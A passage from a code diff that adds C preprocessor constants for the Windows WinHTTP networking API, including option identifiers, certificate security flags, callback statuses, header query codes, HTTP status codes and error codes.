SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x1000 +#define SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x2000 +#define WINHTTP_AUTOPROXY_AUTO_DETECT 0x1 +#define WINHTTP_AUTOPROXY_CONFIG_URL 0x2 +#define WINHTTP_AUTOPROXY_HOST_KEEPCASE 0x4 +#define WINHTTP_AUTOPROXY_HOST_LOWERCASE 0x8 +#define WINHTTP_AUTOPROXY_ALLOW_AUTOCONFIG 0x100 +#define WINHTTP_AUTOPROXY_ALLOW_STATIC 0x200 +#define WINHTTP_AUTOPROXY_ALLOW_CM 0x400 +#define WINHTTP_AUTOPROXY_USE_INTERFACE_CONFIG 0x800 +#define WINHTTP_AUTOPROXY_RUN_INPROCESS 0x10000 +#define WINHTTP_AUTOPROXY_RUN_OUTPROCESS_ONLY 0x20000 +#define WINHTTP_AUTOPROXY_NO_DIRECTACCESS 0x40000 +#define WINHTTP_AUTOPROXY_NO_CACHE_CLIENT 0x80000 +#define WINHTTP_AUTOPROXY_NO_CACHE_SVC 0x100000 +#define WINHTTP_AUTOPROXY_SORT_RESULTS 0x400000 +#define WINHTTP_AUTO_DETECT_TYPE_DHCP 0x1 +#define WINHTTP_AUTO_DETECT_TYPE_DNS_A 0x2 +#define NETWORKING_KEY_BUFSIZE 0x80 +#define WINHTTP_PROXY_TYPE_DIRECT 0x1 +#define WINHTTP_PROXY_TYPE_PROXY 0x2 +#define WINHTTP_PROXY_TYPE_AUTO_PROXY_URL 0x4 +#define WINHTTP_PROXY_TYPE_AUTO_DETECT 0x8 +#define WINHTTP_REQUEST_STAT_FLAG_TCP_FAST_OPEN 0x1 +#define WINHTTP_REQUEST_STAT_FLAG_TLS_SESSION_RESUMPTION 0x2 +#define WINHTTP_REQUEST_STAT_FLAG_TLS_FALSE_START 0x4 +#define WINHTTP_REQUEST_STAT_FLAG_PROXY_TLS_SESSION_RESUMPTION 0x8 +#define WINHTTP_REQUEST_STAT_FLAG_PROXY_TLS_FALSE_START 0x10 +#define WINHTTP_REQUEST_STAT_FLAG_FIRST_REQUEST 0x20 +#define WINHTTP_MATCH_CONNECTION_GUID_FLAG_REQUIRE_MARKED_CONNECTION 0x1 +#define WINHTTP_MATCH_CONNECTION_GUID_FLAGS_MASK 0x1 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_SOFT_LIMIT 0x1 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_BYPASS_CACHE 0x2 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_USE_DNS_TTL 0x4 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_CONN_USE_TTL 0x8 +#define WINHTTP_TIME_FORMAT_BUFSIZE 0x3e +#define WINHTTP_OPTION_CALLBACK 0x1 +#define WINHTTP_OPTION_RESOLVE_TIMEOUT 0x2 +#define WINHTTP_OPTION_CONNECT_TIMEOUT 0x3 +#define WINHTTP_OPTION_CONNECT_RETRIES 0x4 +#define WINHTTP_OPTION_SEND_TIMEOUT 0x5 +#define WINHTTP_OPTION_RECEIVE_TIMEOUT 0x6 +#define WINHTTP_OPTION_RECEIVE_RESPONSE_TIMEOUT 0x7 +#define WINHTTP_OPTION_HANDLE_TYPE 0x9 +#define WINHTTP_OPTION_READ_BUFFER_SIZE 0xc +#define WINHTTP_OPTION_WRITE_BUFFER_SIZE 0xd +#define WINHTTP_OPTION_PARENT_HANDLE 0x15 +#define WINHTTP_OPTION_EXTENDED_ERROR 0x18 +#define WINHTTP_OPTION_SECURITY_FLAGS 0x1f +#define WINHTTP_OPTION_SECURITY_CERTIFICATE_STRUCT 0x20 +#define WINHTTP_OPTION_URL 0x22 +#define WINHTTP_OPTION_SECURITY_KEY_BITNESS 0x24 +#define WINHTTP_OPTION_PROXY 0x26 +#define WINHTTP_OPTION_PROXY_RESULT_ENTRY 0x27 +#define WINHTTP_OPTION_USER_AGENT 0x29 +#define WINHTTP_OPTION_CONTEXT_VALUE 0x2d +#define WINHTTP_OPTION_CLIENT_CERT_CONTEXT 0x2f +#define WINHTTP_OPTION_REQUEST_PRIORITY 0x3a +#define WINHTTP_OPTION_HTTP_VERSION 0x3b +#define WINHTTP_OPTION_DISABLE_FEATURE 0x3f +#define WINHTTP_OPTION_CODEPAGE 0x44 +#define WINHTTP_OPTION_MAX_CONNS_PER_SERVER 0x49 +#define WINHTTP_OPTION_MAX_CONNS_PER_1_0_SERVER 0x4a +#define WINHTTP_OPTION_AUTOLOGON_POLICY 0x4d +#define WINHTTP_OPTION_SERVER_CERT_CONTEXT 0x4e +#define WINHTTP_OPTION_ENABLE_FEATURE 0x4f +#define WINHTTP_OPTION_WORKER_THREAD_COUNT 0x50 +#define WINHTTP_OPTION_PASSPORT_COBRANDING_TEXT 0x51 +#define WINHTTP_OPTION_PASSPORT_COBRANDING_URL 0x52 +#define WINHTTP_OPTION_CONFIGURE_PASSPORT_AUTH 0x53 +#define WINHTTP_OPTION_SECURE_PROTOCOLS 0x54 +#define WINHTTP_OPTION_ENABLETRACING 0x55 +#define WINHTTP_OPTION_PASSPORT_SIGN_OUT 0x56 +#define WINHTTP_OPTION_PASSPORT_RETURN_URL 0x57 +#define WINHTTP_OPTION_REDIRECT_POLICY 0x58 +#define WINHTTP_OPTION_MAX_HTTP_AUTOMATIC_REDIRECTS 0x59 +#define WINHTTP_OPTION_MAX_HTTP_STATUS_CONTINUE 0x5a +#define WINHTTP_OPTION_MAX_RESPONSE_HEADER_SIZE 0x5b +#define WINHTTP_OPTION_MAX_RESPONSE_DRAIN_SIZE 0x5c +#define WINHTTP_OPTION_CONNECTION_INFO 0x5d +#define WINHTTP_OPTION_CLIENT_CERT_ISSUER_LIST 0x5e +#define WINHTTP_OPTION_SPN 0x60 +#define WINHTTP_OPTION_GLOBAL_PROXY_CREDS 0x61 +#define WINHTTP_OPTION_GLOBAL_SERVER_CREDS 0x62 +#define WINHTTP_OPTION_UNLOAD_NOTIFY_EVENT 0x63 +#define WINHTTP_OPTION_REJECT_USERPWD_IN_URL 0x64 +#define WINHTTP_OPTION_USE_GLOBAL_SERVER_CREDENTIALS 0x65 +#define WINHTTP_OPTION_RECEIVE_PROXY_CONNECT_RESPONSE 0x67 +#define WINHTTP_OPTION_IS_PROXY_CONNECT_RESPONSE 0x68 +#define WINHTTP_OPTION_NETWORK_INTERFACE_AFFINITY 0x69 +#define WINHTTP_OPTION_SERVER_SPN_USED 0x6a +#define WINHTTP_OPTION_PROXY_SPN_USED 0x6b +#define WINHTTP_OPTION_SERVER_CBT 0x6c +#define WINHTTP_OPTION_UNSAFE_HEADER_PARSING 0x6e +#define WINHTTP_OPTION_ASSURED_NON_BLOCKING_CALLBACKS 0x6f +#define WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET 0x72 +#define WINHTTP_OPTION_WEB_SOCKET_CLOSE_TIMEOUT 0x73 +#define WINHTTP_OPTION_WEB_SOCKET_KEEPALIVE_INTERVAL 0x74 +#define WINHTTP_OPTION_DECOMPRESSION 0x76 +#define WINHTTP_OPTION_WEB_SOCKET_RECEIVE_BUFFER_SIZE 0x7a +#define WINHTTP_OPTION_WEB_SOCKET_SEND_BUFFER_SIZE 0x7b +#define WINHTTP_OPTION_TCP_PRIORITY_HINT 0x80 +#define WINHTTP_OPTION_CONNECTION_FILTER 0x83 +#define WINHTTP_OPTION_ENABLE_HTTP_PROTOCOL 0x85 +#define WINHTTP_OPTION_HTTP_PROTOCOL_USED 0x86 +#define WINHTTP_OPTION_KDC_PROXY_SETTINGS 0x88 +#define WINHTTP_OPTION_PROXY_DISABLE_SERVICE_CALLS 0x89 +#define WINHTTP_OPTION_ENCODE_EXTRA 0x8a +#define WINHTTP_OPTION_DISABLE_STREAM_QUEUE 0x8b +#define WINHTTP_OPTION_IPV6_FAST_FALLBACK 0x8c +#define WINHTTP_OPTION_CONNECTION_STATS_V0 0x8d +#define WINHTTP_OPTION_REQUEST_TIMES 0x8e +#define WINHTTP_OPTION_EXPIRE_CONNECTION 0x8f +#define WINHTTP_OPTION_DISABLE_SECURE_PROTOCOL_FALLBACK 0x90 +#define WINHTTP_OPTION_HTTP_PROTOCOL_REQUIRED 0x91 +#define WINHTTP_OPTION_REQUEST_STATS 0x92 +#define WINHTTP_OPTION_SERVER_CERT_CHAIN_CONTEXT 0x93 +#define WINHTTP_OPTION_SERVER_CERT_CHAIN_BUILD_FLAGS 0x94 +#define WINHTTP_OPTION_CONNECTION_STATS_V1 0x96 +#define WINHTTP_OPTION_SECURITY_INFO 0x97 +#define WINHTTP_OPTION_TCP_KEEPALIVE 0x98 +#define WINHTTP_OPTION_TCP_FAST_OPEN 0x99 +#define WINHTTP_OPTION_TLS_FALSE_START 0x9a +#define WINHTTP_OPTION_IGNORE_CERT_REVOCATION_OFFLINE 0x9b +#define WINHTTP_OPTION_TLS_PROTOCOL_INSECURE_FALLBACK 0x9e +#define WINHTTP_OPTION_STREAM_ERROR_CODE 0x9f +#define WINHTTP_OPTION_REQUIRE_STREAM_END 0xa0 +#define WINHTTP_OPTION_ENABLE_HTTP2_PLUS_CLIENT_CERT 0xa1 +#define WINHTTP_OPTION_FAILED_CONNECTION_RETRIES 0xa2 +#define WINHTTP_OPTION_HTTP2_KEEPALIVE 0xa4 +#define WINHTTP_OPTION_RESOLUTION_HOSTNAME 0xa5 +#define WINHTTP_OPTION_SET_TOKEN_BINDING 0xa6 +#define WINHTTP_OPTION_TOKEN_BINDING_PUBLIC_KEY 0xa7 +#define WINHTTP_OPTION_REFERER_TOKEN_BINDING_HOSTNAME 0xa8 +#define WINHTTP_OPTION_HTTP2_PLUS_TRANSFER_ENCODING 0xa9 +#define WINHTTP_OPTION_RESOLVER_CACHE_CONFIG 0xaa +#define WINHTTP_OPTION_DISABLE_CERT_CHAIN_BUILDING 0xab +#define WINHTTP_OPTION_BACKGROUND_CONNECTIONS 0xac +#define WINHTTP_OPTION_FIRST_AVAILABLE_CONNECTION 0xad +#define WINHTTP_OPTION_TCP_PRIORITY_STATUS 0xb1 +#define WINHTTP_OPTION_CONNECTION_GUID 0xb2 +#define WINHTTP_OPTION_MATCH_CONNECTION_GUID 0xb3 +#define WINHTTP_OPTION_HTTP2_RECEIVE_WINDOW 0xb7 +#define WINHTTP_OPTION_FEATURE_SUPPORTED 0xb8 +#define WINHTTP_OPTION_QUIC_STATS 0xb9 +#define WINHTTP_OPTION_HTTP3_KEEPALIVE 0xbc +#define WINHTTP_OPTION_HTTP3_HANDSHAKE_TIMEOUT 0xbd +#define WINHTTP_OPTION_HTTP3_INITIAL_RTT 0xbe +#define WINHTTP_OPTION_HTTP3_STREAM_ERROR_CODE 0xbf +#define WINHTTP_OPTION_REQUEST_ANNOTATION 0xc0 +#define WINHTTP_OPTION_DISABLE_PROXY_AUTH_SCHEMES 0xc1 +#define WINHTTP_OPTION_REVERT_IMPERSONATION_SERVER_CERT 0xc2 +#define WINHTTP_OPTION_DISABLE_GLOBAL_POOLING 0xc3 +#define WINHTTP_OPTION_USE_SESSION_SCH_CRED 0xc4 +#define WINHTTP_OPTION_SERVER_CERT_CHAIN_BUILD_CACHE_ONLY 0xc7 +#define WINHTTP_OPTION_QUIC_STATS_V2 0xc8 +#define WINHTTP_OPTION_QUIC_STREAM_STATS 0xca +#define WINHTTP_OPTION_USE_LOOKASIDE 0xcb +#define WINHTTP_OPTION_ERROR_LOG_GUID 0xcc +#define WINHTTP_OPTION_ENABLE_FAST_FORWARDING 0xcd +#define WINHTTP_OPTION_FAST_FORWARDING_RESPONSE_DATA 0xce +#define WINHTTP_OPTION_UPGRADE_TO_PROTOCOL 0xcf +#define WINHTTP_OPTION_CONNECTION_STATS_V2 0xd0 +#define WINHTTP_OPTION_FAST_FORWARDING_RESPONSE_STATUS 0xd1 +#define WINHTTP_OPTION_DSCP_TAG 0xd2 +#define WINHTTP_OPTION_HTTP11_DOWNGRADE_TTL 0xd3 +#define WINHTTP_OPTION_SESSION_ERROR_LOG_GUID 0xd4 +#define WINHTTP_LAST_OPTION 0xd4 +#define WINHTTP_OPTION_USERNAME 0x1000 +#define WINHTTP_OPTION_PASSWORD 0x1001 +#define WINHTTP_OPTION_PROXY_USERNAME 0x1002 +#define WINHTTP_OPTION_PROXY_PASSWORD 0x1003 +#define WINHTTP_CONNS_PER_SERVER_UNLIMITED 0xffffffff +#define WINHTTP_CONNECTION_RETRY_CONDITION_408 0x1 +#define WINHTTP_CONNECTION_RETRY_CONDITION_SSL_HANDSHAKE 0x2 +#define WINHTTP_CONNECTION_RETRY_CONDITION_STALE_CONNECTION 0x4 +#define WINHTTP_DECOMPRESSION_FLAG_GZIP 0x1 +#define WINHTTP_DECOMPRESSION_FLAG_DEFLATE 0x2 +#define WINHTTP_PROTOCOL_FLAG_HTTP2 0x1 +#define WINHTTP_PROTOCOL_FLAG_HTTP3 0x2 +#define WINHTTP_OPTION_REQUEST_ANNOTATION_MAX_LENGTH 0xfa00 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_MEDIUM 0x0 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW 0x1 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_HIGH 0x2 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_PROXY_ONLY 0x3 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_DEFAULT 0x0 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_MAX 0x3 +#define WINHTTP_OPTION_REDIRECT_POLICY_NEVER 0x0 +#define WINHTTP_OPTION_REDIRECT_POLICY_DISALLOW_HTTPS_TO_HTTP 0x1 +#define WINHTTP_OPTION_REDIRECT_POLICY_ALWAYS 0x2 +#define WINHTTP_OPTION_REDIRECT_POLICY_LAST 0x2 +#define WINHTTP_OPTION_REDIRECT_POLICY_DEFAULT 0x1 +#define WINHTTP_DISABLE_PASSPORT_AUTH 0x0 +#define WINHTTP_ENABLE_PASSPORT_AUTH 0x10000000 +#define WINHTTP_DISABLE_PASSPORT_KEYRING 0x20000000 +#define WINHTTP_ENABLE_PASSPORT_KEYRING 0x40000000 +#define WINHTTP_PROXY_DISABLE_SCHEME_BASIC 0x1 +#define WINHTTP_PROXY_DISABLE_SCHEME_DIGEST 0x2 +#define WINHTTP_PROXY_DISABLE_SCHEME_NTLM 0x4 +#define WINHTTP_PROXY_DISABLE_SCHEME_KERBEROS 0x8 +#define WINHTTP_PROXY_DISABLE_SCHEME_NEGOTIATE 0x10 +#define WINHTTP_PROXY_DISABLE_AUTH_LOCAL_SERVICE 0x100 +#define WINHTTP_SERVER_CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL 0x4 +#define WINHTTP_SERVER_CERT_CHAIN_DISABLE_AIA 0x2000 +#define WINHTTP_SERVER_CERT_CHAIN_REVOCATION_CHECK_CACHE_ONLY 0x80000000 +#define WINHTTP_DISABLE_COOKIES 0x1 +#define WINHTTP_DISABLE_REDIRECTS 0x2 +#define WINHTTP_DISABLE_AUTHENTICATION 0x4 +#define WINHTTP_DISABLE_KEEP_ALIVE 0x8 +#define WINHTTP_ENABLE_SSL_REVOCATION 0x1 +#define WINHTTP_ENABLE_SSL_REVERT_IMPERSONATION 0x2 +#define WINHTTP_DISABLE_SPN_SERVER_PORT 0x0 +#define WINHTTP_ENABLE_SPN_SERVER_PORT 0x1 +#define WINHTTP_OPTION_SPN_MASK 0x1 +#define WINHTTP_HANDLE_TYPE_SESSION 0x1 +#define WINHTTP_HANDLE_TYPE_CONNECT 0x2 +#define WINHTTP_HANDLE_TYPE_REQUEST 0x3 +#define WINHTTP_HANDLE_TYPE_PROXY_RESOLVER 0x4 +#define WINHTTP_HANDLE_TYPE_WEBSOCKET 0x5 +#define WINHTTP_HANDLE_TYPE_PROTOCOL 0x6 +#define WINHTTP_AUTH_SCHEME_PASSPORT 0x4 +#define WINHTTP_AUTH_SCHEME_DIGEST 0x8 +#define WINHTTP_AUTH_TARGET_SERVER 0x0 +#define WINHTTP_AUTH_TARGET_PROXY 0x1 +#define SECURITY_FLAG_SECURE 0x1 +#define SECURITY_FLAG_STRENGTH_WEAK 0x10000000 +#define SECURITY_FLAG_STRENGTH_MEDIUM 0x40000000 +#define SECURITY_FLAG_STRENGTH_STRONG 0x20000000 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_REV_FAILED 0x1 +#define WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CERT 0x2 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_REVOKED 0x4 +#define WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CA 0x8 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_CN_INVALID 0x10 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_DATE_INVALID 0x20 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_WRONG_USAGE 0x40 +#define WINHTTP_CALLBACK_STATUS_FLAG_SECURITY_CHANNEL_ERROR 0x80000000 +#define WINHTTP_FLAG_SECURE_PROTOCOL_SSL2 0x8 +#define WINHTTP_FLAG_SECURE_PROTOCOL_SSL3 0x20 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 0x80 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 0x200 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x800 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_3 0x2000 +#define WINHTTP_CALLBACK_STATUS_RESOLVING_NAME 0x1 +#define WINHTTP_CALLBACK_STATUS_NAME_RESOLVED 0x2 +#define WINHTTP_CALLBACK_STATUS_CONNECTING_TO_SERVER 0x4 +#define WINHTTP_CALLBACK_STATUS_CONNECTED_TO_SERVER 0x8 +#define WINHTTP_CALLBACK_STATUS_SENDING_REQUEST 0x10 +#define WINHTTP_CALLBACK_STATUS_REQUEST_SENT 0x20 +#define WINHTTP_CALLBACK_STATUS_RECEIVING_RESPONSE 0x40 +#define WINHTTP_CALLBACK_STATUS_RESPONSE_RECEIVED 0x80 +#define WINHTTP_CALLBACK_STATUS_CLOSING_CONNECTION 0x100 +#define WINHTTP_CALLBACK_STATUS_CONNECTION_CLOSED 0x200 +#define WINHTTP_CALLBACK_STATUS_HANDLE_CREATED 0x400 +#define WINHTTP_CALLBACK_STATUS_HANDLE_CLOSING 0x800 +#define WINHTTP_CALLBACK_STATUS_DETECTING_PROXY 0x1000 +#define WINHTTP_CALLBACK_STATUS_REDIRECT 0x4000 +#define WINHTTP_CALLBACK_STATUS_INTERMEDIATE_RESPONSE 0x8000 +#define WINHTTP_CALLBACK_STATUS_SECURE_FAILURE 0x10000 +#define WINHTTP_CALLBACK_STATUS_HEADERS_AVAILABLE 0x20000 +#define WINHTTP_CALLBACK_STATUS_DATA_AVAILABLE 0x40000 +#define WINHTTP_CALLBACK_STATUS_READ_COMPLETE 0x80000 +#define WINHTTP_CALLBACK_STATUS_WRITE_COMPLETE 0x100000 +#define WINHTTP_CALLBACK_STATUS_REQUEST_ERROR 0x200000 +#define WINHTTP_CALLBACK_STATUS_SENDREQUEST_COMPLETE 0x400000 +#define WINHTTP_CALLBACK_STATUS_GETPROXYFORURL_COMPLETE 0x1000000 +#define WINHTTP_CALLBACK_STATUS_CLOSE_COMPLETE 0x2000000 +#define WINHTTP_CALLBACK_STATUS_SHUTDOWN_COMPLETE 0x4000000 +#define WINHTTP_CALLBACK_STATUS_GETPROXYSETTINGS_COMPLETE 0x8000000 +#define WINHTTP_CALLBACK_STATUS_SETTINGS_WRITE_COMPLETE 0x10000000 +#define WINHTTP_CALLBACK_STATUS_SETTINGS_READ_COMPLETE 0x20000000 +#define API_RECEIVE_RESPONSE 0x1 +#define API_QUERY_DATA_AVAILABLE 0x2 +#define API_READ_DATA 0x3 +#define API_WRITE_DATA 0x4 +#define API_SEND_REQUEST 0x5 +#define API_GET_PROXY_FOR_URL 0x6 +#define API_GET_PROXY_SETTINGS 0x7 +#define WINHTTP_CALLBACK_FLAG_DETECTING_PROXY 0x1000 +#define WINHTTP_CALLBACK_FLAG_REDIRECT 0x4000 +#define WINHTTP_CALLBACK_FLAG_INTERMEDIATE_RESPONSE 0x8000 +#define WINHTTP_CALLBACK_FLAG_SECURE_FAILURE 0x10000 +#define WINHTTP_CALLBACK_FLAG_SENDREQUEST_COMPLETE 0x400000 +#define WINHTTP_CALLBACK_FLAG_HEADERS_AVAILABLE 0x20000 +#define WINHTTP_CALLBACK_FLAG_DATA_AVAILABLE 0x40000 +#define WINHTTP_CALLBACK_FLAG_READ_COMPLETE 0x80000 +#define WINHTTP_CALLBACK_FLAG_WRITE_COMPLETE 0x100000 +#define WINHTTP_CALLBACK_FLAG_REQUEST_ERROR 0x200000 +#define WINHTTP_CALLBACK_FLAG_GETPROXYFORURL_COMPLETE 0x1000000 +#define WINHTTP_CALLBACK_FLAG_GETPROXYSETTINGS_COMPLETE 0x8000000 +#define WINHTTP_CALLBACK_FLAG_ALL_NOTIFICATIONS 0xffffffff +#define WINHTTP_QUERY_MIME_VERSION 0x0 +#define WINHTTP_QUERY_CONTENT_TYPE 0x1 +#define WINHTTP_QUERY_CONTENT_TRANSFER_ENCODING 0x2 +#define WINHTTP_QUERY_CONTENT_ID 0x3 +#define WINHTTP_QUERY_CONTENT_DESCRIPTION 0x4 +#define WINHTTP_QUERY_CONTENT_LENGTH 0x5 +#define WINHTTP_QUERY_CONTENT_LANGUAGE 0x6 +#define WINHTTP_QUERY_ALLOW 0x7 +#define WINHTTP_QUERY_PUBLIC 0x8 +#define WINHTTP_QUERY_DATE 0x9 +#define WINHTTP_QUERY_EXPIRES 0xa +#define WINHTTP_QUERY_LAST_MODIFIED 0xb +#define WINHTTP_QUERY_MESSAGE_ID 0xc +#define WINHTTP_QUERY_URI 0xd +#define WINHTTP_QUERY_DERIVED_FROM 0xe +#define WINHTTP_QUERY_COST 0xf +#define WINHTTP_QUERY_LINK 0x10 +#define WINHTTP_QUERY_PRAGMA 0x11 +#define WINHTTP_QUERY_VERSION 0x12 +#define WINHTTP_QUERY_STATUS_CODE 0x13 +#define WINHTTP_QUERY_STATUS_TEXT 0x14 +#define WINHTTP_QUERY_RAW_HEADERS 0x15 +#define WINHTTP_QUERY_RAW_HEADERS_CRLF 0x16 +#define WINHTTP_QUERY_CONNECTION 0x17 +#define WINHTTP_QUERY_ACCEPT 0x18 +#define WINHTTP_QUERY_ACCEPT_CHARSET 0x19 +#define WINHTTP_QUERY_ACCEPT_ENCODING 0x1a +#define WINHTTP_QUERY_ACCEPT_LANGUAGE 0x1b +#define WINHTTP_QUERY_AUTHORIZATION 0x1c +#define WINHTTP_QUERY_CONTENT_ENCODING 0x1d +#define WINHTTP_QUERY_FORWARDED 0x1e +#define WINHTTP_QUERY_FROM 0x1f +#define WINHTTP_QUERY_IF_MODIFIED_SINCE 0x20 +#define WINHTTP_QUERY_LOCATION 0x21 +#define WINHTTP_QUERY_ORIG_URI 0x22 +#define WINHTTP_QUERY_REFERER 0x23 +#define WINHTTP_QUERY_RETRY_AFTER 0x24 +#define WINHTTP_QUERY_SERVER 0x25 +#define WINHTTP_QUERY_TITLE 0x26 +#define WINHTTP_QUERY_USER_AGENT 0x27 +#define WINHTTP_QUERY_WWW_AUTHENTICATE 0x28 +#define WINHTTP_QUERY_PROXY_AUTHENTICATE 0x29 +#define WINHTTP_QUERY_ACCEPT_RANGES 0x2a +#define WINHTTP_QUERY_SET_COOKIE 0x2b +#define WINHTTP_QUERY_COOKIE 0x2c +#define WINHTTP_QUERY_REQUEST_METHOD 0x2d +#define WINHTTP_QUERY_REFRESH 0x2e +#define WINHTTP_QUERY_CONTENT_DISPOSITION 0x2f +#define WINHTTP_QUERY_AGE 0x30 +#define WINHTTP_QUERY_CACHE_CONTROL 0x31 +#define WINHTTP_QUERY_CONTENT_BASE 0x32 +#define WINHTTP_QUERY_CONTENT_LOCATION 0x33 +#define WINHTTP_QUERY_CONTENT_MD5 0x34 +#define WINHTTP_QUERY_CONTENT_RANGE 0x35 +#define WINHTTP_QUERY_ETAG 0x36 +#define WINHTTP_QUERY_HOST 0x37 +#define WINHTTP_QUERY_IF_MATCH 0x38 +#define WINHTTP_QUERY_IF_NONE_MATCH 0x39 +#define WINHTTP_QUERY_IF_RANGE 0x3a +#define WINHTTP_QUERY_IF_UNMODIFIED_SINCE 0x3b +#define WINHTTP_QUERY_MAX_FORWARDS 0x3c +#define WINHTTP_QUERY_PROXY_AUTHORIZATION 0x3d +#define WINHTTP_QUERY_RANGE 0x3e +#define WINHTTP_QUERY_TRANSFER_ENCODING 0x3f +#define WINHTTP_QUERY_UPGRADE 0x40 +#define WINHTTP_QUERY_VARY 0x41 +#define WINHTTP_QUERY_VIA 0x42 +#define WINHTTP_QUERY_WARNING 0x43 +#define WINHTTP_QUERY_EXPECT 0x44 +#define WINHTTP_QUERY_PROXY_CONNECTION 0x45 +#define WINHTTP_QUERY_UNLESS_MODIFIED_SINCE 0x46 +#define WINHTTP_QUERY_PROXY_SUPPORT 0x4b +#define WINHTTP_QUERY_AUTHENTICATION_INFO 0x4c +#define WINHTTP_QUERY_PASSPORT_URLS 0x4d +#define WINHTTP_QUERY_PASSPORT_CONFIG 0x4e +#define WINHTTP_QUERY_MAX 0x4e +#define WINHTTP_QUERY_EX_ALL_HEADERS 0x15 +#define WINHTTP_QUERY_CUSTOM 0xffff +#define WINHTTP_QUERY_FLAG_REQUEST_HEADERS 0x80000000 +#define WINHTTP_QUERY_FLAG_SYSTEMTIME 0x40000000 +#define WINHTTP_QUERY_FLAG_NUMBER 0x20000000 +#define WINHTTP_QUERY_FLAG_NUMBER64 0x8000000 +#define WINHTTP_QUERY_FLAG_TRAILERS 0x2000000 +#define WINHTTP_QUERY_FLAG_WIRE_ENCODING 0x1000000 +#define HTTP_STATUS_CONTINUE 0x64 +#define HTTP_STATUS_SWITCH_PROTOCOLS 0x65 +#define HTTP_STATUS_OK 0xc8 +#define HTTP_STATUS_CREATED 0xc9 +#define HTTP_STATUS_ACCEPTED 0xca +#define HTTP_STATUS_PARTIAL 0xcb +#define HTTP_STATUS_NO_CONTENT 0xcc +#define HTTP_STATUS_RESET_CONTENT 0xcd +#define HTTP_STATUS_PARTIAL_CONTENT 0xce +#define HTTP_STATUS_WEBDAV_MULTI_STATUS 0xcf +#define HTTP_STATUS_AMBIGUOUS 0x12c +#define HTTP_STATUS_MOVED 0x12d +#define HTTP_STATUS_REDIRECT 0x12e +#define HTTP_STATUS_REDIRECT_METHOD 0x12f +#define HTTP_STATUS_NOT_MODIFIED 0x130 +#define HTTP_STATUS_USE_PROXY 0x131 +#define HTTP_STATUS_REDIRECT_KEEP_VERB 0x133 +#define HTTP_STATUS_PERMANENT_REDIRECT 0x134 +#define HTTP_STATUS_BAD_REQUEST 0x190 +#define HTTP_STATUS_DENIED 0x191 +#define HTTP_STATUS_PAYMENT_REQ 0x192 +#define HTTP_STATUS_FORBIDDEN 0x193 +#define HTTP_STATUS_NOT_FOUND 0x194 +#define HTTP_STATUS_BAD_METHOD 0x195 +#define HTTP_STATUS_NONE_ACCEPTABLE 0x196 +#define HTTP_STATUS_PROXY_AUTH_REQ 0x197 +#define HTTP_STATUS_REQUEST_TIMEOUT 0x198 +#define HTTP_STATUS_CONFLICT 0x199 +#define HTTP_STATUS_GONE 0x19a +#define HTTP_STATUS_LENGTH_REQUIRED 0x19b +#define HTTP_STATUS_PRECOND_FAILED 0x19c +#define HTTP_STATUS_REQUEST_TOO_LARGE 0x19d +#define HTTP_STATUS_URI_TOO_LONG 0x19e +#define HTTP_STATUS_UNSUPPORTED_MEDIA 0x19f +#define HTTP_STATUS_RETRY_WITH 0x1c1 +#define HTTP_STATUS_SERVER_ERROR 0x1f4 +#define HTTP_STATUS_NOT_SUPPORTED 0x1f5 +#define HTTP_STATUS_BAD_GATEWAY 0x1f6 +#define HTTP_STATUS_SERVICE_UNAVAIL 0x1f7 +#define HTTP_STATUS_GATEWAY_TIMEOUT 0x1f8 +#define HTTP_STATUS_VERSION_NOT_SUP 0x1f9 +#define HTTP_STATUS_FIRST 0x64 +#define HTTP_STATUS_LAST 0x1f9 +#define ICU_NO_ENCODE 0x20000000 +#define ICU_NO_META 0x8000000 +#define ICU_ENCODE_SPACES_ONLY 0x4000000 +#define ICU_BROWSER_MODE 0x2000000 +#define ICU_ENCODE_PERCENT 0x1000 +#define ICU_INCLUDE_DEFAULT_PORT 0x8000 +#define ICU_ESCAPE_AUTHORITY 0x2000 +#define WINHTTP_ADDREQ_INDEX_MASK 0xffff +#define WINHTTP_ADDREQ_FLAGS_MASK 0xffff0000 +#define WINHTTP_ADDREQ_FLAG_ADD_IF_NEW 0x10000000 +#define WINHTTP_ADDREQ_FLAG_ADD 0x20000000 +#define WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 0x40000000 +#define WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 0x1000000 +#define WINHTTP_ADDREQ_FLAG_COALESCE 0x40000000 +#define WINHTTP_ADDREQ_FLAG_REPLACE 0x80000000 +#define WINHTTP_EXTENDED_HEADER_FLAG_UNICODE 0x1 +#define WINHTTP_IGNORE_REQUEST_TOTAL_LENGTH 0x0 +#define WINHTTP_ERROR_BASE 0x2ee0 +#define ERROR_WINHTTP_OUT_OF_HANDLES 0x2ee1 +#define ERROR_WINHTTP_TIMEOUT 0x2ee2 +#define ERROR_WINHTTP_INTERNAL_ERROR 0x2ee4 +#define ERROR_WINHTTP_INVALID_URL 0x2ee5 +#define ERROR_WINHTTP_UNRECOGNIZED_SCHEME 0x2ee6 +#define ERROR_WINHTTP_NAME_NOT_RESOLVED 0x2ee7 +#define ERROR_WINHTTP_INVALID_OPTION 0x2ee9 +#define 